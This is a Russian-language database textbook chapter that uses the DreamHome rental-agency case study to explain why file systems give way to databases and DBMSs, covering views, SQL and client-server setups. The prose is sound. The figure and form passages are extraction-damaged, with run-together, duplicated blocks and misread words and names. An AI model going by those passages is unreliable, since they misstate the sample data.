Файловые системы были первой попыткой компьютеризировать известные всем ручные картотеки. Подобная картотека (или подшивка документов) в некоторой организации могла содержать всю внешнюю и внутреннюю документацию, связанную с каким-либо проектом, продуктом, задачей, клиентом или сотрудником. Обычно таких папок бывает очень много, они помечаются и хранятся в одном или нескольких шкафах. В целях безопасности шкафы могут закрываться на замок или находиться в охраняемых помещениях. У каждого из нас дома есть некое подобие такой картотеки, содержащее подшивки документов, представляющих собой счета, гарантийные талоны, рецепты, страховые и банковские документы и т.п. Если нам понадобится какая-то информация, потребуется просмотреть картотеку от начала до конца, чтобы найти искомые сведения. Более изощренный подход предусматривает использование в такой системе некоторого алгоритма индексирования, позволяющего ускорить по-
иск нужных сведений. Например, можно использовать специальные разделители или отдельные папки для различных логически связанных типов объектов.
Ручные картотеки позволяют успешно справляться с поставленными задачами, если количество хранимых объектов невелико. Они также вполне годятся для работы с большим количеством объектов, которые нужно только хранить и извлекать. Однако они совершенно не подходят для тех случаев, когда нужно установить перекрестные связи или выполнить обработку сведений. Например, в типичном агентстве по сдаче в аренду объектов недвижимости может быть заведен отдельный файл для каждого сдаваемого в аренду или продаваемого объекта, для каждого потенциального покупателя или арендатора, а также для каждого сотрудника компании. Рассмотрим теперь, какие действия нужно выполнить, чтобы ответить на приведенные ниже вопросы.
Какие из выставленных на продажу объектов с тремя спальнями имеют сад и гараж?
Какие из сдаваемых в аренду квартир расположены в пределах трех миль от центра города?
Какова средняя цена дома?
Какова средняя арендная плата за квартиру с двумя спальнями?
Чему равна общая годовая заработная плата всех сотрудников?
Каким был ежемесячный оборот от продаж недвижимости в прошлом году?
Каким был оборот в прошлом месяце по сравнению с прогнозируемыми показателями в этом месяце?
Каким будет ожидаемый ежемесячный оборот в следующем финансовом году?
В наше время клиентам, менеджерам и другим сотрудникам с каждым днем требуется все больше и больше информации. В некоторых областях деятельности существуют даже правовые нормы на ежемесячные, ежеквартальные и годовые отчеты. Ясно, что ручная картотека совершенно не подходит для выполнения работы подобного типа. Файловые системы были разработаны в ответ на потребность в получении более эффективных способов доступа к данным. Однако, вместо организации централизованного хранилища всех данных предприятия, был использован децентрализованный подход, при котором сотрудники каждого отдела при помощи специалистов по обработке данных (ОД) работают со своими собственными данными и хранят их в своем отделе. Чтобы понять основные принципы такого подхода, мы рассмотрим его на примере учебного проекта DreamHome.
Сотрудники отдела реализации отвечают за продажу и аренду недвижимости. Например, если клиент обращается в отдел реализации компании с предложением сдать в аренду принадлежащей ему объект недвижимости, то ему нужно заполнить форму, подобную представленной на рис. 1.1, а. В ней указываются такие сведения об объекте недвижимости, как адрес и количество комнат, а также информация о владельце. Кроме того, сотрудники отдела реализации обрабатывают запросы от потенциальных арендаторов, каждый из которых должен заполнить форму, подобную представленной на рис. 1.1, б. При помощи сотрудников отдела обработки данных (ОД) сотрудники отдела реализации создали информационную систему для управления данными об аренде недвижимости. Эта система состоит из трех показанных в табл. 1.1-1.3 файлов с данными о недвижимости (Property_for_Rent), владельце (Owner) и арендаторе (Renter). Для простоты изложения опустим детали, относящиеся к сотрудникам компании, различным ее отделениям и владельцам недвижимости, представляющим собой юридические лица.
DreamHomeProperty for Rent Details [ Property Number: PG21|Address 18 Dale RdArea HyndlandCity GlasgowPostcode G12Type HouseRent 600No of Rooms 5Allocated to Branch:163 Main St, Partick, GlasgowBranch No B3Staff ResponsibleAnn Beech"Owner's Det*''^Name Carol ParrelAddress 6AchraySt, Glasgow G329DXTel No. 0141-357-7419Owner No. CO87Business NameAddressTel No.Owner No. Contact Name Business TypeDreamHomeProperty for Rent Details [ Property Number: PG21|Address 18 Dale RdArea HyndlandCity GlasgowPostcode G12Type HouseRent 600No of Rooms 5Allocated to Branch:163 Main St, Partick, GlasgowBranch No B3Staff ResponsibleAnn Beech"Owner's Det*''^Name Carol ParrelAddress 6AchraySt, Glasgow G329DXTel No. 0141-357-7419Owner No. CO87Business NameAddressTel No.Owner No. Contact Name Business TypeDreamHomeRenter Details| Renter Number: CR74 |-First Name MikeLast Name RitchieAddress 18 Tain St,Tel No. 01475-392178GourockPA1G1YQPreferredMaximumProperty Type HouseMonthly Rent 750General Comments Currently living at home with parents Getting married in AugustSeen By Ann BeechDate 24-Mar-98Branch No B3Branch City GlasgowDreamHomeRenter Details| Renter Number: CR74 |-First Name MikeLast Name RitchieAddress 18 Tain St,Tel No. 01475-392178GourockPA1G1YQPreferredMaximumProperty Type HouseMonthly Rent 750General Comments Currently living at home with parents Getting married in AugustSeen By Ann BeechDate 24-Mar-98Branch No B3Branch City Glasgow
DreamHome
Property for Rent Details [ Property Number: PG21|
Address 18 Dale Rd
Area Hyndland
City Glasgow
Postcode G12
Type HouseRent 600
No of Rooms 5
Allocated to Branch:
163 Main St, Partick, Glasgow
Branch No B3
Staff Responsible
Ann Beech
"Owner's Det*''^
Name Carol Parrel
Address 6AchraySt, Glasgow G329DX
Tel No. 0141-357-7419
Owner No. CO87
Business Name
Address
Tel No.
Owner No. Contact Name Business Type
DreamHome
Property for Rent Details [ Property Number: PG21|
Address 18 Dale Rd
Area Hyndland
City Glasgow
Postcode G12
Type HouseRent 600
No of Rooms 5
Allocated to Branch:
163 Main St, Partick, Glasgow
Branch No B3
Staff Responsible
Ann Beech
"Owner's Det*''^
Name Carol Parrel
Address 6AchraySt, Glasgow G329DX
Tel No. 0141-357-7419
Owner No. CO87
Business Name
Address
Tel No.
Owner No. Contact Name Business Type
DreamHomeRenter Details
| Renter Number: CR74 |-
First Name MikeLast Name Ritchie
Address 18 Tain St,Tel No. 01475-392178
Gourock
PA1G1YQ
PreferredMaximum
Property Type HouseMonthly Rent 750
General Comments Currently living at home with parents Getting married in August
Seen By Ann BeechDate 24-Mar-98
Branch No B3Branch City Glasgow
DreamHomeRenter Details
| Renter Number: CR74 |-
First Name MikeLast Name Ritchie
Address 18 Tain St,Tel No. 01475-392178
Gourock
PA1G1YQ
PreferredMaximum
Property Type HouseMonthly Rent 750
General Comments Currently living at home with parents Getting married in August
Seen By Ann BeechDate 24-Mar-98
Branch No B3Branch City Glasgow
(a)
Puc. 1.1. Формы отдела реализации: а) форма со сведениями о сдаваемой в аренду недвижимости; б) форма с информацией об арендаторе
Таблица 1.1. Информация в файле Property_for_Rent отдела реализации
Pno
Street
Area
City
Pcode
Type
Rooms
Rent
Ono
PA14
16 Holhead
Dee
Aberdeen
AB7 5SU
House
6
650
CO46
PL94
6 Argyll St
Kilburn
London
NW2
Flat
4
400
CO87
PG4
6 Lawrence St
Partick
Glasgow
G11 9QX
Fat
3
350
CO40
PG36
2 Manor Rd
Glasgow
G32 4QX
Flat
3
375
CO93
PG21
18 Dale Rd
Hyndland
Glasgow
G12
House
5
600
CO87
PG16
5 Novar Dr
Hyndland
Glasgow
G12 9AX
Flat
4
450
CO93
Таблица 1.2. Информация
в файле Owner отдела реализации
OnoFNameLName
AddressTel_No
CO46JoeKeogh
CO87CarolFarrel
2 Fergus Dr, Banchory, Aberdeen AB2 7SX 01224-861212
6 Achray St, Glasgow G32 9DX0141-357-7419
CO40TinaMurphy
CO93TonyShaw
63 Well St, Shawlands, Glasgow G420141-943-1728
12 Park PI, Hillhead, Glasgow 64 0QR0141-225-7025
Таблица 1.3. Информация в файле Renter отдела реализации
Rno
FName LName AddressTel_NoPrefjype MaxRent
CR76
JohnKay56 High St. Putney, 0171-774-5632 Flat425
London SW1 4EH
CR56
AlineStewart 64 Fern Dr, Pollock, 0141-848-1825 Flat350
Glasgow G42 OBL
CR74
MikeRitchie 18 Tain St, Gourock 01475-392178House750
PA1G 1YQ
CR62
MaryTregear 5 Tarbot Rd, Kildary, 01224-196720Flat600
Aberdeen AB9 3ST
Сотрудники отдела контрактов отвечают за оформление договоров об аренде недвижимости. Если клиент согласен арендовать некоторый сдаваемый в аренду объект, то одним из сотрудников отдела реализации заполняется форма, показанная на рис. 1.2. В ней указываются все необходимые сведения об арендаторе и сдаваемом в аренду объекте недвижимости. Эта форма передается в отдел контрактов, сотрудники которого присваивают договору номер и вносят дополнительные сведения об оплате и продолжительности аренды. При помощи сотрудников отдела ОД сотрудники отдела контрактов создали для себя информационную систему учета договоров об аренде. Эта система состоит из трех файлов, представленных в табл. 1.4-1.6. Файлы содержат сведения о договорах (Lease), объектах недвижимости (Property_for_Rent) и арендаторах (Renter), которые во многом сходны с данными в информационной системе отдела реализации.
Рис. 1.2. Форма Lease Details — сведения о заключаемом договоре на аренду
Таблица 1.4. Информация в файле Lease отдела контрактов
Lno
РпоRno Rent
Payment
Deposit Paid
Stat
finish
Duration
100024
РА14 CR62 650
Visa
1300Y
1-Jun-97
31-May-98
12"
10075
PL94 CR76 400
Cash
800N
1-Aug-97
31-Jan-98
6
10012
PG21 CR74 600
Cheque
1200Y
1-Jul-97
30-jun-98
12
Таблица 1.5. Информация
в файле Property_for_Rent отдела контрактов
Рпо
Street
Area
City
Pcode
iRent
РА14
16 Hothead
Dee
Aberdeen
AB7 5SU650
PL94
6 Argyll St
Kilburn
London
NW2
400
PG21
18 Dale Rd
Hyndland
Glasgow
G12
600
Таблица 1.6. Информация
в файле Renter отдела контрактов
Rno
FName LName
Address
Tel.No
CR76
JohnKay
56 High St, Putney, London SW1 4EH
0171-774-5632
CR74
MikeRitchie
18 Tain St, Gourock PA1G 1YQ
01475-392178
CR62
MaryTregear
5 Tarbot Rd, Kildary, Aberdeen AB9 3ST
01224-196720
В целом, эта ситуация схематически может быть представлена так, как показано на рис. 1.3. На этой схеме каждый отдел обращается к своим собственным данным с помощью специализированных приложений. Набор приложений каждого отдела позволяет вводить данные, работать с файлами и генерировать некоторый фиксированный набор специализированных отчетов. Самым важным является то обстоятельство, что физическая структура и методы хранения записей файлов с данными жестко определены в коде программ приложений.
Аналогичные примеры можно найти и в других отделах. Например, в расчетном секторе бухгалтерии хранятся сведения о зарплате каждого сотрудника, помещенные в файл следующего формата:
Staff_Salary(Staff Number, First Name, Last Name, Address, Sex, Date of Birth, Salary, National Insurance Number, Branch Number)
В отделе кадров также хранится информация о персонале, но она представлена в файле иного формата:
Staff(Staff Number, First Name, Last Name, Address, Telephone Number, Position, Sex, Date of Birth, Salary, National Insurance Number, Branch Number)
Совершенно очевидно, что очень большое количество данных в отделах дублируется и это весьма характерно для любых файловых систем. Прежде чем начать обсуждение недостатков этого подхода, было бы полезно познакомиться с терминологией, используемой в файловых системах. Файл является простым набором записей (record), которые содержат логически связанные данные. Например, файл Ргор- erty_for_Rent, содержимое которого представлено в табл. 1.1, содержит шесть записей, по одной для каждого сдаваемого в аренду объекта недвижимости. Каждая запись содержит, логичен и связанный набор из одного или нескольких полей (field),
каждое из которых представляет некоторую характеристику моделируемого объекта. Из табл. 1.1 видно, что поля файла Property_for_Rent представляют такие характеристики сдаваемых в аренду объектов, как адрес, тип объекта и количество комнат.
Отдел реализацииОтдел реализацииОтдел контрактовОтдел контрактовВвод данных и выдача отчетовПрограммы ведения файловОпределения файловВвод данных и выдача отчетовПрограммы ведения файловОпределения файловПрограммы приложений отдела реализацииПрограммы приложений отдела реализацииФайлы отделареализацииФайлы отделареализацииВвод данных и выдача отчетовПрограммы ведения файловОпределения - файловВвод данных и выдача отчетовПрограммы ведения файловОпределения - файловПрограммы приложений отдела контрактовПрограммы приложений отдела контрактовФайлы отделаконтрактовФайлы отделаконтрактов
Отдел реализации
Отдел реализации
Отдел контрактов
Отдел контрактов
Ввод данных и выдача отчетов
Программы ведения файлов
Определения файлов
Ввод данных и выдача отчетов
Программы ведения файлов
Определения файлов
Программы приложений отдела реализации
Программы приложений отдела реализации
Файлы отделареализации
Файлы отделареализации
Ввод данных и выдача отчетов
Программы ведения файлов
Определения - файлов
Ввод данных и выдача отчетов
Программы ведения файлов
Определения - файлов
Программы приложений отдела контрактов
Программы приложений отдела контрактов
Файлы отделаконтрактов
Файлы отделаконтрактов
Файлы отдела реализации
Property_for_Rent(Property Number, Street, Area, City, Post Code, Property Type, Number of Rooms, Monthly Rent, Owner Number)
Owner(Owner Number, First Name. Last Name, Address,Telephone Number)
Renter(Renter Number, First Name, Last Name.AddressJelephone Number, Preferred Type, Maximum Rent)
Файлы отдела контрактов
Lease(Lease Number, Property Number, Renter Number, Monthly Rent, Payment Method, Deposit, Paid, Rent Start Date, Rent Finish Date, Duration)
Property for_Rent(Property Number, Street, Area, City, Post Code, Monthly Rent)
Renter(Renter Number, First Name, Last Name, Address, Telephone Number)
Puc. 1.3. Схема обработки данных в файловой системе
Ограничения, присущие файловым системам
Такого краткого описания файловых систем вполне достаточно для того, чтобы понять суть присущих им ограничений, которые перечислены ниже.
Разделение и изоляция данных.
Дублирование данных.
Зависимость от данных.
Несовместимость файлов.
Фиксированные запросы/быстрое увеличение количества приложений.
Разделение и изоляция данных
Когда данные изолированы в отдельных файлах, доступ к ним весьма затруднен. Например, для создания списка всех домов, отвечающих требованиям потенциальных арендаторов, предварительно нужно создать временный файл со списком арендаторов, желающих арендовать недвижимость типа “дом”. Затем в файле Ргор- erty_for_Rent следует осуществить поиск объектов недвижимости типа “дом” с арендной платой ниже установленного арендатором максимума. Выполнять подобную обработку данных в файловых системах достаточно сложно. Для извлечения соответствующей поставленным условиям информации программист должен организовать синхронную обработку двух файлов. Трудности существенно возрастают, когда необходимо извлечь данные из более чем двух файлов.
Дублирование данных
Из-за децентрализованной работы с данными, проводимой в каждом отделе независимо от других отделов, в файловой системе фактически поощряется бесконтрольное дублирование данных, и это, в принципе, неизбежно. Например, на рис. 1.3 ясно видно, что в отделе реализации и отделе контрактов дублируется информация об объектах недвижимости и арендаторах. Бесконтрольное дублирование данных нежелательно по следующим двум причинам.
Дублирование данных сопровождается неэкономным расходованием ресурсов, поскольку на ввод избыточных данных требуется затрачивать дополнительные время и деньги. Более того, для их хранения необходимо дополнительное место во внешней памяти, что связано с дополнительными накладными расходами. Во многих случаях дублирования данных можно избежать ва счет совместного использования файлов.
Еще более важен тот факт, что дублирование данных может привести к нарушению их целостности. Иначе говоря, данные в разных отделах могут стать противоречивыми. Например, рассмотрим описанный выше случай дублирования данных в расчетном секторе бухгалтерии и отделе кадров. Если сотрудник переедет в другой дом и изменение адреса будет зафиксировано только в отделе кадров, то уведомление о зарплате будет послано ему по старому, т.е. ошибочному, адресу. Более серьезная проблема может возникнуть, если некий сотрудник получит повышение по службе с соответствующим увеличением заработной платы. И опять же, если это изменение будет зафиксировано только в информации отдела кадров, оставшись непроведенным в файлах расчетного сектора, то данный сотрудник ошибочно будет получать прежнюю заработную плату. При обнаружении подобной ошибки для ее исправления потребуется затратить дополнительное время и средства. Оба этих примера демонстрируют противоречия, которые могут возникнуть при дублировании данных. Поскольку не существует никакого автоматического способа обновления данных одновременно и в файлах отдела кадров, и в файлах расчетного сектора, нетрудно предвидеть, что подобные противоречия время от времени обязательно будут возникать. Даже если сотрудники расчетного сектора после получения уведомлений о подобных изменениях будут немедленно их вносить, все равно существует вероятность неправильного ввода измененных данных.
Зависимость от данных
Как уже упоминалось выше, физическая структура и способ хранения записей файлов данных жестко зафиксированы в коде программ приложений. Это значит, что изменить существующую структуру данных достаточно сложно. Например, увеличение в файле Property_for_Rent длины поля адреса с 40 до 41 символа кажется совершенно незначительным изменением его структуры, но для воплощения этого изменения потребуется, как минимум, создать одноразовую программу специального назначения (т.е. программу, которая выполняется только один раз), преобразующую уже существующий файл Property_for_Rent в новый формат. Она должна выполнять следующие действия:
открыть исходный файл Property_for_Rent для чтения;
открыть временный файл с новой структурой записи;
считать запись из исходного файла, преобразовать данные в новый формат и записать их во временный файл. Эти действия следует выполнить для всех записей исходного файла;
удалить исходный файл Property_for_Rent;
присвоить временному файлу имя Property__for_Rent.
Помимо этого, все обращающиеся к файлу Property_for_Rent программы должны быть изменены с целью соответствия новой структуре файла. Причем таких программ может быть очень много. Следовательно, программист должен прежде всего выявить все такие программы, а затем перепроверить и изменить их. Обратите внимание, что многие подлежащие изменению программы могут обращаться к файлу Property_for_Rent и при этом вообще не использовать поле адреса. Ясно, что выполнение всех этих действий требует больших затрат времени и может явиться причиной появления ошибок. Данная особенность файловых систем называется зависимостью от программ и данных (program-data dependence).
Несовместимость форматов файлов
Поскольку структура файлов определяется кодом приложений, она также зависит от языка программирования этого приложения. Например, структура файла, созданного программой на языке COBOL, может совершенно отличаться от структуры файла, создаваемого программой на языке С. Прямая несовместимость таких файлов затрудняет процесс их совместной обработки.
Например, предположим, что сотрудникам отдела контрактов требуется найти имена и адреса всех владельцев, недвижимость которых в настоящее время сдана в аренду. К сожалению, в отделе контрактов нет сведений о владельцах недвижимости, так как они хранятся только в отделе реализации. Однако в файлах отдела контрактов имеется поле Property Number с номерами объектов недвижимости, которые можно использовать для поиска соответствующих номеров в файле Property_for_Rent отдела реализации. Этот файл также содержит поле Owner Number с номерами владельцев, которые можно использовать для поиска сведений о владельцах в файле Owner. Допустим, что программа отдела контрактов создана на языке COBOL, а программа отдела реализации — на языке С. Тогда с целью поиска соответствующих номеров объектов недвижимости в поле Property Number в двух файлах Property_for_Rent программисту потребуется создать программное обеспечение, предназначенное для преобразования этих полей в некоторый общий формат. Не вызывает сомнения, что этот процесс часто может оказаться весьма длительным и дорогим.
Фиксированные запросы/быстрое увеличение количества приложений
С точки зрения пользователя возможности файловых систем намного превосходят возможности ручных картотек. Соответственно возрастают и их требования к реализации новых или модифицированных запросов. Однако файловые системы во многом зависят от программиста, потому что все требуемые запросы и отчеты должны быть созданы именно им. В результате события обычно развивались по одному из следующих двух сценариев. Во многих организациях типы создаваемых запросов и отчетов имели фиксированную форму, и не было никаких инструментов создания незапланированных или произвольных (ad hoc) запросов как к самим данным, так и к сведениям о том, какие типы данных доступны.
В других организациях наблюдалось быстрое увеличение количества файлов и приложений. В конечном счете наступал момент, когда сотрудники отдела ОД были просто не в состоянии справиться со всей этой работой с помощью имеющихся ресурсов. В этом случае нагрузка на сотрудников отдела ОД настолько возрастала, что неизбежно наступал момент, когда программное обеспечение было неспособно адекватно отвечать запросам пользователей, эффективность его падала, а недостаточность документирования имела следствием дополнительное усложнение сопровождения программ. При этом часто игнорировались вопросы поддержки функциональности системы: не предусматривались меры по обеспечению безопасности или целостности данных; средства восстановления в случае сбоя аппаратного или программного обеспечения были крайне ограниченны или вообще отсутствовали. Доступ к файлам часто ограничивался одним пользователем, т.е. не предусматривалось их совместное использование даже сотрудниками одного и того же отдела.
В любом случае, подобная организация работы с течением времени изживает себя, и требуется искать другие решения.
Системы с базами данных
Все перечисленные выше ограничения файловых систем являются следствием двух факторов.
Определение данных содержится внутри приложений, а не хранится отдельно и независимо от них.
Помимо приложений не предусмотрено никаких других инструментов доступа к данным и их обработки.
Для повышения эффективности работы необходимо использовать новый подход, а именно базу данных (database) и систему управления базами данных, или СУБД (Database Management System — DBMS). В этом разделе представлено более формальное определение этих терминов, а также рассмотрены компоненты среды СУБД.
База данных
БазаСовместно используемый набор логически связанных данных (и
данных описание этих данных), предназначенный для удовлетворения информационных потребностей организации.
Чтобы глубже вникнуть в суть этого понятия, рассмотрим его определение более внимательно. База данных — это единое, большое хранилище данных, которое однократно определяется, а затем используется одновременно многими пользователями из разных подразделений. Вместо разрозненных файлов с избыточными данными, здесь все данные собраны вместе с минимальной долей избыточности. База данных уже не принадлежит какому-либо единственному отделу, а является общим корпоративным ресурсом. Причем база данных хранит не только рабочие данные этой организации, но и их описания. По этой причине базу данных еще называют набором интегрированных записей с самоописанием. В совокупности, описание данных называется системным каталогом (system catalog), или словарем данных (data dictionary), а сами элементы описания принято называть метаданными (meta-data), т.е. “данными о данных”. Именно наличие самоописания данных в базе данных обеспечивает в ней независимость между программами и данными (program-data independence).
Подход, основанный на применении баз данных, где определение данных отделено от приложений, очень похож на подход, используемый при разработке современного программного обеспечения, когда наряду с внутренним определением объекта существует его внешнее определение. Пользователи объекта видят только его внешнее определение и не заботятся о том, как он определяется и как функционирует. Одно из преимуществ такого подхода, а именно абстрагирования данных (data abstraction), заключается в том, что можно изменить внутреннее определение объекта без каких-либо последствий для его пользователей, при условии, что внешнее определение объекта остается неизменным. Аналогичным образом, в подходе с использованием баз данных, структура данных отделена от приложений и хранится в базе данных. Добавление новых структур данных или изменение существующих никак не влияет на приложения, при условии, что они не зависят непосредственно от изменяемых компонентов. Например, добавление нового поля в запись или создание нового файла никак не повлияет на работу имеющихся приложений. Однако удаление поля из используемого приложением файла повлияет на это приложение, а потому его также потребуется соответствующим образом модифицировать.
И, наконец, следует объяснить последний термин из определения базы данных, а именно понятие “логически связанный”. При анализе информационных потребностей организации следует выделить сущности, атрибуты и связи. Сущностью (entity) назы-
вается отдельный тип объекта организации (человек, место или вещь, понятие или событие), который нужно представить в базе данных. Атрибутом (attribute) называется свойство, которое описывает некоторую характеристику описываемого объекта; связь (relationship) — это то, что объединяет несколько сущностей. Например, на рис. 1.4 показана так называемая диаграмма “сущность-связь”, или ER-диаграмма (Entity- Realtionship — ER), для некоторой части учебного проекта DreamHome. Она состоит из следующих компонентов:
шести сущностей (которые обозначены прямоугольниками): Branch (Отделение), Staff (Работник), Property_for_Rent (Сдаваемый в аренду объект), Owner (Владелец), Renter (Арендатор) и Viewing (Осмотр);
шести связей (которые обозначены ромбиками): IsAllocated (Работает в), Has (Имеет), Oversees (Отвечает), Owns (Владеет), Requests (Запрашивает) и Takes (Проводится).
Рис. 1.4. Пример диаграммы “ сущность-связь"
Подобная база данных представляет сущности, атрибуты и логические связи между объектами. Иначе говоря, база данных содержит логически связанные данные. Более подробно модель типа “сущность-связь” рассматривается в главе 5, “Модель “сущность-связь””.
Система управления базами данных — СУБД
СУБДЭто программное обеспечение, с помощью которого пользователи мо
гут определять, создавать и поддерживать базу данных, а также осуществлять к ней контролируемый доступ.
СУБД — это программное обеспечение, которое взаимодействует с прикладными программами пользователя и базой данных и обладает приведенными ниже возможностями.
Позволяет определять базу данных, что обычно осуществляется с помощью языка определения данных (DDL — Data Definition Language). Язык DDL предоставляет пользователям средства указания типа данных и их структуры, а также средства задания ограничений для информации, хранимой в базе данных.
Позволяет вставлять, обновлять, удалять и извлекать информацию из базы данных, что обычно осуществляется с помощью языка управления данными (DML — Data Manipulation Language). Наличие централизованного хранилища всех данных и их описаний позволяет использовать язык DML как общий инструмент организации запросов, который иногда называют языком запросов (query language). Наличие языка запросов позволяет устранить присущие файловым системам ограничения, при которых пользователям приходится иметь дело только с фиксированным набором запросов или постоянно возрастающим количеством программ, что порождает другие, более сложные проблемы управления программным обеспечением.
Существует две разновидности языков DML — процедурные (procedural) и непроцедурные (non-procedural) языки, — которые отличаются между собой способом извлечения данных. Основное отличие между ними заключается в том, что процедурные языки обычно обрабатывают информацию в базе данных последовательно, запись за записью, а непроцедурные оперируют сразу целыми наборами записей. Поэтому с помощью процедурных языков DML обычно указывается, как можно получить желаемый результат, тогда как непроцедурные языки DML используются для описания того, что следует получить. Наиболее распространенным типом непроцедурного языка является язык структурированных запросов (Structured Query Language — SQL), который в настоящее время определяется специальным стандартом и фактически является обязательным языком для любых реляционных СУБД. (SQL произносится либо по буквам “S-Q-L”, либо как мнемоническое имя “See-Quel”.) Чтобы подчеркнуть важность языка SQL, авторы этой книги посвятили ему главы 13, “Язык SQL”, и JL4, “Дополнительные средства языка SQL”.
Предоставляет контролируемый доступ к базе данных с помощью перечисленных ниже средств:
системы обеспечения безопасности, предотвращающей несанкционированный доступ к базе данных со стороны пользователей;
системы поддержки целостности данных, обеспечивающей непротиворечивое состояние хранимых данных;
системы управления параллельной работой приложений, контролирующей процессы их совместного доступа к базе данных;
системы восстановления, позволяющей восстановить базу данных до предыдущего непротиворечивого состояния, нарушенного в результате сбоя аппаратного или программного обеспечения;
♦ доступного пользователям каталога, содержащего описание хранимой в
базе данных информации.
На рис. 1.5 показан пример реализации подхода с применением базы данных для рассмотренного ранее варианта с использованием файловой системы (см. рис. 1.3). В новом варианте отдел реализации и отдел контрактов используют собственные приложения для доступа к общей базе данных, организованной с помощью СУБД. Набор приложений каждого отдела обеспечивает ввод и корректировку данных, а также генерацию необходимых отчетов. Однако, в отличие от варианта с файловой системой, физическая структура и способ хранения данных в этом случае контролируются с помощью СУБД.
■ЙЖ ЯК
Отдел реализации Программы приложений отдела реализации
ЙШнйиЙЙчетовЙШнйиЙЙчетовОпределения файлов и База данных дополнительные сведения о таблицах Property_for_Rent, /
ЙШнйи
ЙЙчетов
ЙШнйи
ЙЙчетов
Отдел контрактовПрограммы приложенийowner, мепгег и Lease
отдела контрактов
PropertyJor^Rent(Property Number, Street, Area, City, Post Code, Property Type, Number of Rooms, Monthly Rent, Owner Number)
Owner(Owner Number, First Name, Last Name, Address, Telephone Number)
Renter(Renter Number, First Name, Last Name, Address, Telephone Number, Preferred Type, Maximum Rent)
Lease(Lease Number, Property Number, Renter Number, Payment Method, Deposit, Paid, Rent Start Date, Rent Finish Date)
Puc. 1.5. Схема обработки данных с помощью СУБД
Обладание указанными выше функциональными возможностями превращает СУБД в чрезвычайно полезный инструмент. Однако, поскольку для конечных пользователей неважно, насколько проста или сложна внутренняя организация системы, можно услышать возражения, что СУБД усложняет работу, предоставляя пользователям гораздо большее количество данных, чем им действительно требуется. Как видно из рис. 1.5, в подходе, основанном на использовании баз данных, необходимые сотрудникам отдела контрактов подробные сведения об объектах недвижимости организованы несколько иначе, чем в варианте с файловой системой, представленном на рис. 1.3. Теперь в базе данных также содержатся сведения о типе недвижимости, числе комнат и о владельце объекта. Для решения этой проблемы в СУБД предлагается другой механизм — создание представлений (view), — который позволяет любому пользователю иметь свой собственный взгляд на базу данных. Язык DDL включает средства определения представлений, каждое из которых является некоторым подмножеством базы данных. Например, можно организовать представление, в котором сотрудникам отдела контрактов будут доступны только те данные, которые необходимы для оформления договоров аренды.
Помимо упрощения работы за счет предоставления пользователям только действительно нужных им данных, представления обладают некоторыми другими достоинствами.
Обеспечивают дополнительный уровень безопасности. Представления могут создаваться с целью исключения тех данных, которые не должны видеть некоторые пользователи. Например, можно создать некоторое представление, которое позволит менеджерам отделений и сотрудникам расчетного сектора бухгалтерии просматривать все данные о персонале, включая сведения об их зарплате. В то же время для организации доступа к данным других пользователей можно создать еще одно представление, из которого все сведения о зарплате будут исключены.
Предоставляют механизм настройки внешнего интерфейса базы данных. Например, сотрудники отдела контрактов могут работать с полем Monthly Rent (Ежемесячная арендная плата), используя для него более короткое и простое имя — Rent.
Позволяют сохранять внешний интерфейс базы данных непротиворечивым и неизменным даже при внесении изменений в ее структуру — например, при добавлении или удалении полей, изменении связей, разбиении файлов, их реорганизации или переименовании. Если в файл добав-
ляются или из него удаляются поля, не используемые в некотором представлении, то все эти изменения на данном представлении никак не отразятся. Таким образом, представление обеспечивает полную независимость программ от реальной структуры данных, что позволяет устранить важнейший недостаток файловых систем.
Приведенные выше рассуждения имели несколько общий характер. На самом деле реальный объем функциональных возможностей, предлагаемых в некоторой конкретной СУБД, отличается от продукта к продукту. Например, в СУБД для персонального компьютера может не поддерживаться параллельный совместный доступ, а управление режимом безопасности, поддержанием целостности данных и восстановлением будет присутствовать только в очень ограниченной степени. Однако современные мощные многопользовательские СУБД предлагают все перечисленные выше функциональные возможности и многое другое. Современные системы представляют собой чрезвычайно сложное программное обеспечение, состоящее из миллионов строк кода и многих томов документации. Таков результат стремления получить программное обеспечение, которое могло бы удовлетворять требованиям все более общего характера. Более того, в настоящее время использование СУБД предполагает почти 100-процентную надежность и готовность даже при сбоях в аппаратном и программном обеспечении. Программное обеспечение СУБД постоянно совершенствуется и должно все больше и больше расширяться, чтобы удовлетворять все новым требованиям пользователей. Например, в некоторых приложениях теперь требуется хранить графику, видео, звук и т.д. Для охвата этой части рынка СУБД должна эволюционировать, причем со временем ей, вероятно, потребуется выполнять какие-то новые функции, а потому функциональная часть СУБД никогда не будет статичной. Более подробно основные функции СУБД рассматриваются в последующих главах.
Компоненты среды СУБД
Как показано на рис. 1.6, в среде СУБД можно выделить следующих пять основных компонентов: аппаратное обеспечение, программное обеспечение, данные, процедуры и пользователи.
Рис. IB. Среда СУБД
Аппаратное обеспечение
Для работы СУБД и приложений необходимо некоторое аппаратное обеспечение. Оно может варьировать в очень широких пределах — от единственного персонального компьютера или одного мейнфрейма до сети из многих компьютеров. Используе: мое аппаратное обеспечение зависит от требований данной организации и используемой СУБД. Одни СУБД предназначены для работы только с конкретными типами операционных систем или оборудования, другие могут работать с широким кругом аппаратного обеспечения и различными операционными системами. Для работы СУБД обычно требуется некоторый минимум оперативной и дисковой памяти, но такой минимальной конфигурации может оказаться совершенно недостаточно для достижения приемлемой производительности системы. На рис. 1.7 показана упрощенная схема конфигурации аппаратного обеспечения для учебного проекта DreamHome. Она состоит из сети мини-компьютеров с центральным компьютером в Лондоне. На
центральном компьютере работает серверная часть СУБД (backend), которая обслуживает и контролирует доступ к базе данных. На схеме также показаны несколько компьютеров, расположенных в других регионах. На них работают клиентские части СУБД (frontend), которые осуществляют взаимодействие с пользователями. Подобная архитектура носит название клиент/сервер (client-server), где сервером является компьютер с серверной частью СУБД, а клиентами — компьютеры с клиентскими частями СУБД. Более подробно эта архитектура рассматривается в разделе 2.6.
КлиентыКлиентыОфис восточногоСервер базы данных отделенияОфис восточногоСервер базы данных отделенияКлиентыКлиентыКлиентыКлиентыБаза данныхБаза данныхКлиентыКлиентыОфис западного отделенияОфис западного отделенияОфис лондонского отделенияОфис лондонского отделенияОфис северного отделенияОфис северного отделенияРис. 1.7. Конфигурация аппаратного обеспечения для учебного проекта DreamHomeРис. 1.7. Конфигурация аппаратного обеспечения для учебного проекта DreamHomeОфис южного отделенияОфис южного отделения
Клиенты
Клиенты
Офис восточного
Сервер базы данных отделения
Офис восточного
Сервер базы данных отделения
Клиенты
Клиенты
Клиенты
Клиенты
База данных
База данных
Клиенты
Клиенты
Офис западного отделения
Офис западного отделения
Офис лондонского отделения
Офис лондонского отделения
